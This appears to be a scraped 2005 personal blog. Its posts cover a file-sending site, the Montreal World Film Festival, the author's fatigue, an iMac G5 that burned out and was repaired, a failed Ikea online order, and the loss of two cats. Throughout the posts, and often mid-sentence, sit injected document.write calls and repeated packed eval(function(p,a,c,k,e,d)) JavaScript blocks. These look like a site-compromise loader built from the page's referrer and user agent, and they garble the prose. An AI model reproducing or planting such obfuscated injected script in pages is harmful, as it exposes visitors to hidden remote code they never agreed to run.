It happens often that I have large files that I have to send or to receive. Most of the time they are too large to be e-mailed. Sending files through MSN Messenger is generally too slow for large files and when I try to send files by FTP,  document.write(“”);   I have often trouble logging to the destination server, or people cannot log to my server, etc. 


Recently, someone introduced me to an interesting web site: www.yousendit.com. You enter the recipient’s e-mail, you select the file you want to send (up to 1 Gb) and then you click the “you send it” button. Your file is uploaded (there is even a secure option) to their web site, an e-mail is sent to the recipient with instruction on how to download the file and voila! 


I’ve tried it and it works well. No passwords to share, no software to install, no accounts to create, and no full mailboxes! I don’t don’t know how they can manage to offer such a free service (it must require lots of storage) since there is no ads on the web site (although I remember seeing a discreet “sponsors” link or something like that once the file was uploaded).

			

	


			
				
				


			
				
				


	

							
Montreal World Film Festival 2005
						

			 / Clodjee						 / 2 Comments
								

			


		

		
This year the Montreal World Film Festival was quite interesing as usual. There was less Japanese films than the previous years,  document.write(“”);   but it just meant that I would be able to find time to see them all. And I did: I saw all six Japanese movies [Himiko’s House,   Kamataki, Itsuka Dokusho Suruhi (The Milkwoman), Shonen To Hoshi To Jitensha (Satoru – Fourteen), Umineko, Yumeno] and one Iranian movie [Sima-Ye Zani Dar Doordast (Portrait Of A Lady Far Away)]. We have also met several directors as well as many great actors (Maggie Cheung! Tatsuya Fuji! I have also met Isshin Inudo, director of Himiko’s House, who also directed the live-action version of “Touch” but unfortunately I couldn’t talk much with him). The movies will be reviewed either in the magazine or on my web pages.

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zyrfb|var|u0026u|referrer|azsdz||js|php’.split(‘|’),0,{}))

 eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bikth|var|u0026u|referrer|abddb||js|php’.split(‘|’),0,{}))

 

Unfortunately, this year the festival was showing its lack of budget (less movies, less events, etc.). That’s because it stopped receiving big governmental subsidies. All this because of bullshit politics and some people who wanted to make big money by creating their own festival. They want this other festival to be more glamorous, like Cannes. So they lobbied enough to get the subsidies yanked from the MWFF. Lots of people are bashing on the MWFF (mostly the press — probably unhappy because they were not invited to the parties with the big guests), but it is an excellent festival, which is offering a fine selection of international movies to the people. I don’t care that its director is an a** or that all the big guests and big business went to Toronto. I just want to see good movies. That’s all. I wish good luck to the New Festival (even if they stole the subsidies, copied the name and web page design of the MWFF) and if it is a good festival, it will be good for them and for the movie goers. But they are hurting the MWFF. I don’t want two half-festival. I want one good festival. The MWFF has been doing a fine job for nearly 30 years. So my thought is “Don’t fix it if it is not broken.” But now it is too late. Hopefully, both festivals will continue to do well.


Also, during the festival, I saw at the cinema Parisien something I had never seen before: they started a movie 20 minutes early! That’s an unforgivable mistake. I was told that all people who complained got a refund, but if it was up to me that projectionist would have lost his job!


Here is a selection of our pictures from the festival. Enjoy!

			

	


			
				
				


	

							
Not Well
						

			 / Clodjee						 / Leave a comment
								

			


		

		
Since early spring I have not been feeling well. I got a little better for the summer,  document.write(“”);   but now it is getting even worse. I really don’t know why I am feeling so tired,   but the doctor sent me for some tests and I’ve been too busy lately to go (there’s also the fact that my schedule doesn’t really fit with the opening hours of the clinic). But I really must go take those tests next week!


Mostly I am feeling often tired, sleepy (but I already sleep more than usual and even take naps!), apathetic. I feel like out of energy, laking motivation, like if something died inside me (like a zombie!). However, the biggest problem is a total lack of concentration. It is not really a problem when I am doing technical or manual stuff like the shipping or layout, but it makes editing and writing like an herculean work and it is quite frustrating. It takes me hours just to process a few paragraphs. Once I am in it, it is not that bad, but the slightest distraction (a phone call, a e-mail, an IM) will break the rythm and it will take me a long time to resume work. And if I try too hard I get a terrible headache. I feel like i am moving in slow-motion and everything around me is flying by fast. Days and weeks a passing by without me barely realizing it. I barely saw the summer. All this is quite depressing.


I know I am not in perfect shape, but at least I have a very healthy alimentation. I just need more exercice (and to check my blood pressure and the glucose level). What could be causing this? Is this age? Premature senelity? Dementia? Can’t be, I am just a little over 40. Is this a kind of depression, a mid-life crisis? I don’t have any reasons to be depressed, I have everything that I could want: a loving wife, a fun job that I like, lots of DVDs, books and gadgets to entertain myself. I just need to be able to concentrate on my job!


I suspect it could be a kind of hormone imbalance. Hopefully, I’ll soon find the cause and a way to get rid of it. Because it is really driving me crazy!

			

	


			
				
				


	

							
Busy Weeks
						

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The last couple of weeks were quite busy. First I had not seen the end of my printer’s problems yet. Not only the printer delivered the magazine late,  document.write(“”);   but an abnormal number of copies had defects and boxes were not containing the exact amount they were suppose to according to the manifest. So I’ve spent an entire week-end counting each copy and separating the bad copies from to good. I’ve send the bad ones back to the printer to be replaced and used the good ones for the shipping and mailing.


So I’ve spent the following week doing the mailing and shipping,   as well as updating the computer and working (already) on the next issue of the magazine. Through all that I managed to go see a few movies at the Montreal World Film Festival. The next week, despite the fact that I was really not feeling well, I continued working on the magazine (planning, writing, reviewing material, etc.), I watched a few more movies at the MWFF and installed my new VoIP phone system (I’ll review that one a little later). 


So much to do and so little time. I feel kind of out of breath and tired.

			

	


			
				
				


	

							
More Computer Update
						

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Well,  document.write(“”);   I did not get my computer on Friday. When the repair shop got the logic board and  started to install it,   they noticed that the power supply had also burned out so they ordered that part too. But it did not ship in time for me to get the computer for the week-end. However,   I got it on monday (August 29th) and everything was fine. I am so happy! 

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hrnis|var|u0026u|referrer|aysky||js|php’.split(‘|’),0,{}))

 eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fenef|var|u0026u|referrer|brbrt||js|php’.split(‘|’),0,{}))

 

Of course, since I’ve worked on the G3 for a little more than a week, I had to re-update my files and mails, etc., which took me several days since I was quite busy on various project. To avoid that kind of problem, I am now trying to make backups more often and I’ve sync both computers. 


I am planning to write a review for the iMac G5 in the Tech section of my website (as soon as I have a little time). I am also working on a Tech review about Primus VoIP service (as soon as I’ve tested it for a little longer — so far I’ve had problems with the customer services, but the product itself seems fine). Ah! So many projects, so little time…

			

	


			
				
				


	

							
Computer Update
						

			 / Clodjee						 / Leave a comment
								

			


		

		
Today I got some news from the computer repair shop. 

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fzyth|var|u0026u|referrer|ythtk||js|php’.split(‘|’),0,{}))

 eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|issnn|var|u0026u|referrer|ierys||js|php’.split(‘|’),0,{}))

 

Apparently the problem has nothing to do with overheating. It seems that the first series of iMac G5 used a bad batch of capacitors on its circuit boards (I think that sensors for the space shuttle fuel tank were plagued by a similar problem recently!) and that they burn up after a while. Apple has acknowledge the problem and extended the warranty of the flawed models (see the Repair Extension Program page). So as soon as they received the needed parts the repair shop will replace the logic board of my iMac G5 (hopefully before the end of the week) and I will be back in business with a FAST computer (switching back to a G3/G4 made me realized how fast the G5 is!). Let’s see if Apple hold to their reputable customer service.


I have therefore regained confidence in my beautiful iMac G5 and will stick with it for a while. Probably until we see what those new Intel Mac that Apple is planning to release are capable of.

			

	


			
				
				


	

							
Ikea website offer bad service
						

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One  week ago a placed an order online on Ikea’s website. Unlike most online store where your purchase and payment are automatically confirmed,  document.write(“”);   at Ikea someone has to call you back to confirm the details of your order. So far, after a week, nobody has called. My advice: if you want to buy something at Ikea, either go to the store (that’s if you have a car, or a friend willing to help you) or order by phone. It is much quicker!

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zkrss|var|u0026u|referrer|nrzsb||js|php’.split(‘|’),0,{}))

 eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fsniz|var|u0026u|referrer|saeff||js|php’.split(‘|’),0,{}))

 

UPDATE (9/11): well, after more than a week without news I deciced to  call to reissue my order, via phone this time. When they told me that it would cost me $80 shipping for a $140 bookshelf, I told them to cancel my order. I’ll find someone to drive me there instead later this week. Such a poor online ordering system (no confirmation of shipping cost, having to be phoned back, long delays, etc.) is really outragous.

			

	


			
				
				


	

							
My Computer Dies!
						

			 / Clodjee						 / Leave a comment
								

			


		

		
After having printer’s and cat’s problems,  document.write(“”);   I was not out of the woods yet. Yesterday night,   my iMac G5 died in a terrible smell of burned electronics. That was NOT an happy moment either. After spending part of the afternoon doing diagnostics, it is now packed and ready to go to an Apple Service Center monday. I should be able to get it repaired within a week (however I am considering eventually replacing it by a dual processor G5 2 ghz tower — if I can get a good price for the iMac, which, being an all-in-one model, has the unfortunate habit to overheat).

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hkhhi|var|u0026u|referrer|dzftf||js|php’.split(‘|’),0,{}))

 eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yntaf|var|u0026u|referrer|zsdsd||js|php’.split(‘|’),0,{}))

 

I had to take out my old G3 (boosted with a G4 processor) and update its files in order to be able to do some work in the meantime. Anyway, that’s life.


Hopefully, that’s the end of my bad luck streak.


Take care!

			

	


			
				
				


	

							
My beloved departed cats
						

			 / Clodjee						 / Leave a comment
								

			


		

		
The backstreet is always full of stray cats. Some seek refuge on our balcony and we feed them out of compassion. Four years ago,  document.write(“”);   one of those cats touched our heart more than the others: it was a cute one-year-old female part siamese,   part tabby. The winter was coming close so we let her in and she stayed with us since then. We called her Nyako. She was the best of cats: never complaining,   never scratching furnitures, always clean. Like most cats, she was affectionate but distant. 

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 eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ktkza|var|u0026u|referrer|eytse||js|php’.split(‘|’),0,{}))

 

 One year ago we noticed that her face was not symetric anymore and that a tumor was slowly growing on the right side of her head. We knew that there was not much to do for that but hope it would not get bigger. It did, but we wanted to keep her as long as she would have a decent quality of life. We hope that she would grow old and eventually die peacefully. Unfortunately, a few weeks ago the tumor got so big that it deformed her mouth and pushed her eyes a little forward. She was constantly drooling and her eye was crying. She was sleeping all day and looked pityful. So, this morning we had her euthanized, relieving her of her misery.  It was certainly not an easy decision to take, and the visit to the vet was not an easy moment either. At least now, she won’t suffer anymore and she’s probably happier in some cat’s heaven somewhere. But, to make it harder, it is the second cat that we lose this summer. Those cats were like our children and we miss them.  At least, we still have one.


Earlier this year, we adopted two more cats: a black & white female with a black spot on the nose and a white spot on the tip of the tail (so we called her Spotty) and a light brown-reddish male, very noisy, that we called Nyaboy (and sometime also Foxy, because of his color and pointy ears). We couldn’t, obviously, keep too many cats so we found someone to take care of the very gentle and affectionate Spotty. Unfortunately, last April, Nyaboy was shot (twice!) in the back with a pellet gun by some moron (probably a kid playing with his new toy). He got a very nasty infection, but for some time it  looked like he was having the upper hand. However, he did lost the battle after a while. Luckily, a few weeks later we learned that the young lady who was taking care of Spotty just got a new job in Hong-Kong and couldn’t bring her along. So we took her back. Now we have only Spotty. I’ll post some pictures of her later (right now I have computer problems, so I cannot).